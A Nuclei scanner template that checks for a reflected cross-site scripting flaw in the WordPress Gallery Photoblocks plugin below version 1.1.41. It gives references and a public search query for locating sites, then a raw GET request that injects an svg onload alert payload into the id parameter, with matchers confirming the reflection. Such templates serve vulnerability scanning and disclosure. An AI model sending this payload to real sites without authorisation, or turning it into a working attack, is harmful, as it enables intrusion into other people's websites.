Reflected Cross-Site Scripting (XSS) is a type of web vulnerability where an attacker injects malicious scripts into a website, and the injected code gets reflected back to the user's browser, executing the script in the context of the vulnerable website.
PoC代码[已公开]
id: photoblocks-grid-gallery-xss
info:
name: Gallery Photoblocks < 1.1.41 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
Reflected Cross-Site Scripting (XSS) is a type of web vulnerability where an attacker injects malicious scripts into a website, and the injected code gets reflected back to the user's browser, executing the script in the context of the vulnerable website.
remediation: Fixed in version 1.1.41
reference:
- https://plugins.trac.wordpress.org/changeset/2117972
- https://wpscan.com/vulnerability/5c57e78a-97b9-4e23-8935-e4c9d806c89d
- https://wordpress.org/plugins/photoblocks-grid-gallery/
classification:
cpe: cpe:2.3:a:wpchill:gallery_photoblocks:*:*:*:*:wordpress:*:*:*
metadata:
verified: true
max-request: 1
vendor: wpchill
product: gallery_photoblocks
publicwww-query: "/wp-content/plugins/photoblocks-grid-gallery/"
tags: wordpress,wpscan,photoblocks,wp-plugin,wp,xss,vuln
http:
- raw:
- |
GET /wp-content/plugins/photoblocks-grid-gallery/admin/partials/photoblocks-edit.php?id=%22%3E%3Csvg/onload=alert(document.domain)%3E HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "<svg/onload=alert(document.domain)>")'
- 'contains(body, "PhotoBlocks")'
condition: and
# digest: 490a0046304402207ffe39f99888d6c81275dd06b78ae042c0a373232fea41f8e9f5d81c54580fe8022018acb40ef1a4412c6afdd6ea3cf0f6404e05e178e72734abb466c6b45ef5a7a0:922c64590222798bb761d5b6d8e72950